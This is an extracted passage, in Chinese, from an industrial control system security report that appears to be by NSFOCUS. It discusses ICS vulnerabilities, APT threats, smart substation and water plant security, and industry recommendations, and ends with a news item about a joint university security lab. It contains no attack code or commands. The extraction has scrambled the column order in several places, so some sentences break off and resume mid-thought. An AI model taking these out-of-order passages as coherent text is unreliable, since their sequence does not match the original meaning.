工 控 报 告 洞 中 高 危 漏 洞 超 过 一 半 (54%) 2.2 工 业 控 制 系 统 脆 弱 性 的 检 测 及 防 护 建 议 对 工 业 控 制 系 统 脆 弱 性 的 安 全 防 护 是 一 个 系 统 工 程, 包 括 从 技 术 到 管 理 等 各 个 方 面 的 工 作 其 中 最 重 要 的 就 是 对 工 业 控 制 系 统 自 身 脆 弱 性 的 检 测 与 发 现, 只 有 及 时 发 现 工 业 控 制 系 统 存 在 的 脆 弱 性 问 题, 才 能 进 一 步 执 行 相 应 的 安 全 加 固 及 防 护 工 作 相 应 的 防 护 建 议 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17] 三 工 业 控 制 系 统 的 安 全 威 胁 分 析 3.1 工 业 控 制 系 统 所 面 临 的 安 全 威 胁 当 前 的 工 业 控 制 系 统 在 具 体 部 署 时 通 常 涉 及 到 企 业 办 公 网 络 ( 简 称 办 公 网 络 ) 过 程 控 制 与 监 控 网 络 ( 简 称 监 控 网 络 ) 以 及 现 场 控 制 系 统 网 络 [2] 本 节 在 简 单 介 绍 这 三 种 网 络 功 能 的 基 础 上, 讨 论 可 能 存 在 的 安 全 威 胁 及 攻 击 途 径 ( 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17]) 3.2 APT 攻 击 方 法 与 工 业 控 制 系 统 安 全 工 业 控 制 系 统 已 成 为 国 家 关 键 基 础 设 施 的 重 要 组 成 部 分, 近 年 来, 针 对 工 业 控 制 系 统 的 攻 击, 不 论 是 规 模 宏 大 的 网 络 战 (Cyberwar), 还 是 在 一 般 的 网 络 犯 罪 (Cybercrime), 都 可 以 发 现 高 级 持 久 威 胁 (Advanced Persistent Threat, 简 称 APT) 的 影 子 本 节 将 重 点 讨 论 工 业 控 制 系 统 中 的 APT 攻 击 及 新 型 攻 击 方 法 ( 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17]), 为 下 文 讨 论 工 业 控 制 系 统 的 安 全 防 护 建 议 奠 定 基 础 3.3 工 业 控 制 系 统 安 全 威 胁 的 检 测 及 防 护 建 议 工 业 控 制 系 统 自 身 的 脆 弱 性 ( 安 全 漏 洞 不 安 全 的 配 置 以 及 脆 弱 的 安 全 防 护 能 力 等 ) 以 及 系 统 管 理 及 操 作 人 员 淡 薄 的 安 全 意 识 的 现 状, 使 得 工 业 控 制 系 统 在 面 对 有 目 的 的 攻 击 者 利 用 各 种 新 型 复 杂 攻 击 技 术 ( 比 如 APT) 的 攻 击 时, 其 后 果 将 不 言 而 喻 本 节 将 在 上 文 讨 论 的 基 础 上, 结 合 我 们 在 工 业 控 制 系 统 安 全 项 目 的 实 践 经 验, 给 出 一 些 关 于 工 业 控 制 系 统 的 安 全 防 护 策 略 及 建 议, 并 针 对 APT 攻 击 的 检 测 与 防 护 方 法 进 行 讨 论 3.3.1 工 业 控 制 系 统 的 安 全 防 护 策 略 及 建 议 为 保 障 工 业 控 制 系 统 的 安 全 运 行, 除 提 供 工 业 控 制 系 统 传 统 必 备 的 功 能 安 全 之 外, 我 们 还 必 须 加 强 工 业 控 制 系 统 的 信 息 安 全 防 护 能 力 针 对 工 业 控 制 系 统 的 业 务 特 点 自 身 脆 弱 性 以 及 所 可 能 面 临 的 各 种 网 络 安 全 威 胁, 需 要 在 工 业 控 制 系 统 的 安 全 体 系 架 构 设 计 工 业 控 制 系 统 的 供 应 链 安 全 工 业 控 制 系 统 上 线 前 安 全 检 查 工 业 控 制 系 统 的 安 全 运 维 与 管 理 等 方 面 进 行 综 合 全 面 的 考 虑 关 于 工 业 控 制 系 统 的 安 全 防 护 策 略 及 建 议, 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17] 3.3.2 APT 攻 击 的 检 测 与 防 护 方 法 本 节 针 对 APT 逐 步 渗 透 攻 击 的 特 点, 对 APT 的 检 测 防 护 技 术 与 策 略 进 行 了 初 步 的 讨 论, 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17] 四 智 能 变 电 站 的 安 全 性 研 究 智 能 变 电 站 是 采 用 先 进 的 传 感 器 信 息 通 信 控 制 智 能 等 技 术, 以 一 次 设 备 参 量 数 字 化 和 标 准 化 规 范 化 信 息 平 台 为 基 础, 实 现 变 电 76

工 控 报 告 站 实 时 全 景 监 测 自 动 运 行 控 制 与 站 外 系 统 协 同 互 动 等 功 能, 达 到 提 高 变 电 可 靠 性 优 化 资 产 利 用 率 减 少 人 工 干 预 支 撑 电 网 安 全 运 行 等 目 标 的 变 电 站 虽 然 智 能 变 电 站 在 建 设 时 会 按 不 同 的 安 全 域 实 施 系 统 间 的 安 全 隔 离 和 控 制, 但 因 工 业 控 制 网 络 设 备 通 信 协 议 自 身 的 脆 弱 性 以 及 智 能 变 电 站 网 络 架 构 针 对 安 全 性 考 虑 不 足 等 原 因, 智 能 变 电 站 依 然 存 在 很 大 的 安 全 风 险 [18][19] 智 能 变 电 站 所 面 临 的 安 全 威 胁 除 了 其 系 统 与 网 络 自 身 脆 弱 性 之 外, 来 自 内 部 人 员 的 违 规 操 作 破 坏 以 及 来 自 外 部 的 APT 攻 击 也 将 是 智 能 变 电 站 所 面 临 的 最 大 威 胁 而 这 些 威 胁 的 消 减 将 依 赖 于 基 于 异 常 行 为 检 测 操 作 合 规 性 审 计 以 及 基 于 沙 箱 的 虚 拟 执 行 [20] 等 多 安 全 机 制 的 综 合 安 全 防 御 体 系 本 节 我 们 将 重 点 从 人 员 管 理 与 制 度 流 程 的 规 范 性 系 统 软 硬 件 安 全 性 网 络 通 信 安 全 以 及 系 统 操 作 的 合 规 性 等 几 个 方 面 讨 论 智 能 变 电 站 所 存 在 的 安 全 问 题, 并 结 合 一 个 虚 拟 的 攻 击 场 景 分 析 来 增 强 用 户 的 安 全 意 识 以 及 对 系 统 面 临 安 全 威 胁 的 感 知 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17] 五 市 政 工 业 控 制 系 统 的 安 全 性 研 究 随 着 工 业 化 与 信 息 化 的 融 合, 市 政 相 关 的 工 业 控 制 系 统 ( 自 来 水 污 水 处 理 燃 气 输 送 等 ) 的 重 要 性 日 益 重 要, 已 成 为 网 络 攻 击 者 的 重 要 目 标 之 一 近 年 来 国 内 外 出 现 的 相 关 入 侵 攻 击 事 件 [9] 也 表 明 了 这 种 趋 势 市 政 工 业 控 制 系 统 涉 及 自 来 水 调 度 管 理 与 控 制 污 水 处 理 燃 气 甚 至 交 通 管 理 等 多 个 领 域, 我 们 仅 以 自 动 化 程 度 较 高 的 自 来 水 厂 工 业 控 制 系 统 为 例 来 讨 论 其 安 全 性 ( 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17]), 并 基 于 一 个 虚 拟 攻 击 场 景 进 行 案 例 分 析 依 据 调 研 的 结 果, 目 前 该 行 业 存 在 的 主 要 安 全 问 题 是 : 人 员 安 全 意 识 不 强, 缺 乏 明 确 的 安 全 管 理 制 度 及 人 员 意 识 培 训 ; 缺 乏 系 统 有 效 的 安 全 防 护 体 系 规 划 和 安 全 风 险 评 估 机 制 ; 缺 乏 系 统 操 作 人 员 的 角 色 定 位 授 权 流 程 及 操 作 规 程 ( 可 能 会 带 来 越 权 或 非 授 权 操 作 的 威 胁 ); 缺 乏 相 应 的 操 作 行 为 审 计 机 制 ; 缺 乏 系 统 数 据 备 份 ( 可 能 会 因 系 统 故 障 丢 失 重 要 数 据 ) 等 综 合 上 述, 防 范 非 授 权 的 违 规 操 作 与 恶 意 代 码 威 胁 以 及 健 全 安 全 管 理 制 度 提 升 行 业 人 员 的 安 全 意 识 将 是 该 行 业 亟 待 解 决 的 主 要 问 题 六 行 业 的 发 展 建 议 与 展 望 6.1 工 业 控 制 系 统 安 全 行 业 的 发 展 需 要 多 方 协 同 工 业 控 制 系 统 安 全 与 传 统 的 信 息 安 全 不 同, 它 通 常 更 关 注 物 理 安 全 与 功 能 安 全, 而 且 系 统 的 安 全 运 行 由 相 关 的 生 产 部 门 负 责, 信 息 部 门 仅 处 于 从 属 的 地 位 随 着 信 息 化 与 工 业 化 的 深 度 融 合 以 及 潜 在 网 络 战 威 胁 的 影 响, 工 业 控 制 系 统 也 将 从 传 统 的 仅 关 注 物 理 安 全 功 能 安 全 转 向 更 为 关 注 信 息 系 统 安 全 这 种 转 变 将 在 国 家 政 策 的 推 动 下 对 传 统 的 工 业 企 业 产 生 较 大 的 影 响 工 业 控 制 系 统 的 安 全 问 题 已 被 提 升 到 了 国 家 安 全 战 略 的 高 度, 再 加 上 工 业 控 制 系 统 跨 学 科 跨 行 业 应 用 的 特 殊 性, 使 其 安 全 保 障 体 系 的 建 立 必 须 在 国 家 行 业 监 管 部 门 工 业 控 制 系 统 的 用 户 工 业 控 制 系 统 提 供 商 信 息 安 全 厂 商 等 多 方 面 的 协 同 努 力 下 才 能 够 实 现, 如 图 10 所 示 77

工 控 报 告 系 统 的 漏 洞 扫 描 配 置 核 查 行 为 审 计 工 控 防 火 墙 以 及 基 于 用 户 行 为 白 环 境 的 操 作 监 管 类 产 品 [22] 其 次, 提 升 对 工 业 控 制 系 统 相 关 威 胁 情 报 ( 比 如 安 全 事 件 漏 洞 信 息 新 型 的 入 侵 攻 击 技 术 以 及 流 行 的 蠕 虫 木 马 病 毒 等 信 息 ) 的 及 时 获 取 分 析 及 快 速 响 应 的 能 力, 并 结 合 相 应 的 安 全 产 品 和 安 全 防 护 技 术 提 供 相 应 的 攻 击 检 测 及 安 全 防 护 方 案, 进 而 逐 步 提 升 针 对 工 业 控 制 系 统 的 安 全 服 务 能 力 [17] 七 结 束 语 工 业 控 制 系 统 安 全 作 为 一 个 新 的 战 略 性 的 安 全 领 域, 需 要 国 家 主 管 部 门 工 业 控 制 系 统 用 户 工 业 控 制 系 统 提 供 商 信 息 安 全 图 10 工 业 控 制 系 统 安 全 的 生 态 环 境 关 于 工 业 控 制 系 统 安 全 生 态 环 境 中 各 角 色 ( 国 家 行 业 监 管 部 门 工 控 系 统 用 户 工 控 系 统 提 供 商 信 息 安 全 厂 商 ) 协 同 发 展 的 具 体 论 述 详 见 研 究 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 [17] 6.2 工 业 控 制 系 统 安 全 产 品 及 服 务 的 规 划 建 议 据 我 们 的 调 研 分 析 [21] : 用 户 当 前 最 关 注 的 工 业 控 制 系 统 安 全 问 题 为 业 务 中 断 违 规 外 联 违 规 操 作 及 系 统 配 置 的 不 安 全, 并 期 望 通 过 部 署 违 规 操 作 的 检 测 及 预 警 漏 洞 扫 描 及 系 统 配 置 核 查 审 计 系 统 接 入 控 制 与 身 份 鉴 别 网 络 隔 离 设 备 及 防 病 毒 等 安 全 机 制 或 产 品 来 解 决 其 工 控 系 统 所 面 临 的 安 全 威 胁 基 于 用 户 的 客 观 需 求 与 信 息 安 全 厂 商 的 现 实 基 础, 建 议 信 息 安 全 厂 商 可 从 工 业 控 制 系 统 的 脆 弱 性 ( 漏 洞 ) 及 工 控 协 议 的 分 析 研 究 入 手, 首 先 提 供 工 业 控 制 系 统 上 线 前 安 全 检 查 服 务, 逐 步 推 出 针 对 工 业 控 制 提 供 商 等 跨 领 域 跨 行 业 的 多 方 位 合 作, 才 能 够 促 进 工 业 控 制 系 统 安 全 领 域 的 发 展 以 国 家 政 策 标 准 为 导 向, 行 业 安 全 检 查 用 户 安 全 意 识 培 训 工 业 控 制 系 统 风 险 评 估 及 相 应 的 安 全 产 品 安 全 解 决 方 案 等 的 逐 步 推 进 将 是 工 业 控 制 系 统 安 全 领 域 的 发 展 主 线 其 中, 工 业 控 制 系 统 用 户 的 安 全 意 识 培 训 工 业 控 制 系 统 的 安 全 状 况 调 查 及 工 业 控 制 系 统 的 脆 弱 性 评 估 与 整 改 将 是 近 期 的 主 要 任 务 这 将 需 要 建 立 工 业 控 制 系 统 的 安 全 性 测 评 验 证 机 制, 提 供 系 统 漏 洞 信 息 及 厂 商 的 漏 洞 修 补 方 案 及 安 全 补 丁 的 及 时 通 报 分 享 及 可 用 性 验 证 机 制 2013 年 国 内 政 策 标 准 制 订, 工 信 部 的 安 全 检 查 工 作 及 工 业 控 制 系 统 安 全 市 场 预 测 报 告 [5] 的 发 布, 国 家 发 改 委 工 业 控 制 系 统 安 全 专 项 基 金 的 支 持 计 划, 电 力 石 化 烟 草 市 政 等 重 要 行 业 用 户 的 积 极 响 应 以 及 国 内 主 流 工 业 控 制 系 统 提 供 商 信 息 安 全 厂 商 在 工 业 控 制 领 域 的 积 极 投 入 都 表 明 : 工 业 控 制 系 统 安 全 这 一 涉 及 国 家 安 全 战 略 的 国 内 新 市 场 正 在 快 速 启 动, 在 多 方 的 合 力 推 动 下 必 将 具 有 良 好 的 发 展 前 景 78

工 控 报 告 参 考 文 献 1.Common Cybersecurity Vulnerabilities in Industrial Control Systems,May,2011 2. 李 鸿 培 于 旸 忽 朝 俭 曹 嘉, 工 业 控 制 系 统 及 其 安 全 性 研 究 报 告, 绿 盟 科 技, 技 术 报 告,2012.12 http://www.nsfocus. com/report/nsfocus_ics_security_report_20130624.pdf. 3.Amol Sar wate,why IS SCADA SECUIRT Y AN UPHILL BATTLE?,Qualys Inc. 2013. 4.Guide to Industrial Control Systems (ICS) Security :NIST, SP800 82.,June,2011. 5.2013 首 届 工 业 信 息 安 全 用 户 高 峰 论 坛, 北 京,2013 年 8 月 8 日 http://www.cheminfo.gov.cn/hezuopage/gongkong. aspx?code=cheminfo&action=detail&type=mrdynamic&info Id=2013080914124200001 6.CVE http://www.cve.mitre.org/ 7. 南 美 某 国 电 网 被 攻 击, 攻 击 者 进 行 敲 诈 勒 索,http://www. e-works.net.cn/report/fs/fs.html 8.Stuxnet http://www.anti-virus.by/en/tempo.shtml 9. 李 鸿 培, 工 控 系 统 的 安 全 威 胁 离 我 们 有 多 远? 工 控 系 统 安 全 研 讨 会 (PPT),2013.10 10. 天 然 气 管 道 上 的 苏 美 暗 战, 中 国 海 洋 石 油 报, 2012.11,http://www.cnooc.com.cn/data/html/news/2012-11-16/ chinese/330655.html 11. 关 于 加 强 工 业 控 制 系 统 信 息 安 全 管 理 的 通 知, 工 信 部 协 [2011]451 号 12. 电 监 会 2013 年 50 号 文, 电 力 工 控 信 息 安 全 专 项 监 管 工 作 方 案 13. 国 家 烟 草 局 烟 草 工 业 企 业 生 产 区 与 管 理 区 网 络 互 联 安 全 规 范 14. 鲍 旭 华 李 鸿 培 等,2012 上 半 年 NSFOCUS 安 全 威 胁 态 势 报 告, 绿 盟 科 技, 技 术 报 告,2012.8 15.APT http://en.wikipedia.org/wiki/advanced_persistent_ Threat 16.CNVD http://www.cnvd.org.cn/ 17. 李 鸿 培 忽 朝 俭 王 晓 鹏, 工 业 控 制 系 统 的 安 全 研 究 与 实 践, 技 术 报 告,2013 年 12 月 18. 王 晓 鹏, 透 过 智 能 变 电 站 看 智 能 电 网 安 全, 绿 盟 科 技 内 刊, Vol.19,2012.12. 19. 王 晓 鹏, 工 业 控 制 系 统 安 全 之 路, 工 控 安 全 研 讨 会 报 告 (PPT),2013.10. 20. 绿 盟 威 胁 分 析 系 统 产 品 白 皮 书, 绿 盟 科 技 产 品 白 皮 书, 2013 21. 李 鸿 培 王 晓 鹏, 工 业 控 制 系 统 安 全 需 求 分 析 及 产 品 规 划 研 究, 内 部 报 告,2013.9 22. 李 鸿 培, 下 一 代 安 全 的 概 念 与 特 性, 绿 盟 科 技, 技 术 报 告,2013.7 http://www.nsfocus.com/report/concept_and_ characteristics_of_next_generation_security.pdf 79

综 合 信 息 CERNET 华 南 中 心 绿 盟 科 技 网 络 安 全 联 合 实 验 室 揭 牌 侵 检 测 及 防 御 异 常 流 量 分 析 及 清 洗 作 为 工 作 重 点, 并 在 此 基 础 上 扩 展 到 其 他 研 究 领 域 联 合 实 验 室 成 立 之 后, 除 进 行 科 研 项 目 合 作 外, 还 将 面 向 华 南 地 区 高 校 周 期 性 开 展 信 息 安 全 前 沿 技 术 的 研 讨 会 讲 座 科 研 成 果 和 新 产 品 测 试 及 信 息 安 全 技 术 服 务 等 在 2014 年 度, 联 合 实 验 室 将 会 面 向 华 南 地 区 高 校 举 办 14 期 涵 盖 信 息 安 全 早 期 预 警 技 术 入 侵 调 查 等 总 时 长 超 过 60 小 时 的 技 术 培 训 联 合 实 验 室 在 信 息 安 全 领 域 将 成 为 高 校 和 绿 盟 科 技 之 间 的 强 力 纽 带, 从 而 带 动 提 高 华 南 地 区 高 校 信 息 安 全 技 术 与 管 理 的 整 体 水 平 CERNET 华 南 地 区 网 络 中 心 是 CERNET 在 华 南 地 区 的 骨 干 网 络 运 行 维 护 和 管 理 中 心 华 南 理 工 大 学 是 我 国 著 名 的 教 育 部 直 属 重 点 大 学, 是 211 工 程 和 985 工 程 院 校, 被 誉 为 中 国 南 方 工 科 大 学 的 一 面 旗 帜 华 南 理 工 大 学, 是 CERNET 华 南 日 前, 由 绿 盟 科 技 和 CERNET 华 南 地 区 网 络 中 心 联 合 建 立 并 由 华 南 理 工 大 学 承 担 管 理 运 行 的 CERNET 华 南 中 心 绿 盟 科 技 网 络 安 全 联 合 实 验 室 揭 牌 仪 式 在 华 南 理 工 大 学 隆 重 举 行 CERNET 华 南 中 心 绿 盟 科 技 网 络 安 全 联 合 实 验 室 以 网 络 信 息 安 全 的 相 关 研 究 作 为 工 作 重 点 成 立 初 期 主 要 以 网 络 入 地 区 网 络 中 心 和 地 区 主 结 点, 也 是 CERNET 的 最 早 节 点 此 次 CERNET 华 南 中 心 绿 盟 科 技 网 络 安 全 联 合 实 验 室 的 成 立, 在 广 东 地 区 教 育 行 业 将 发 挥 行 业 示 范 的 作 用 80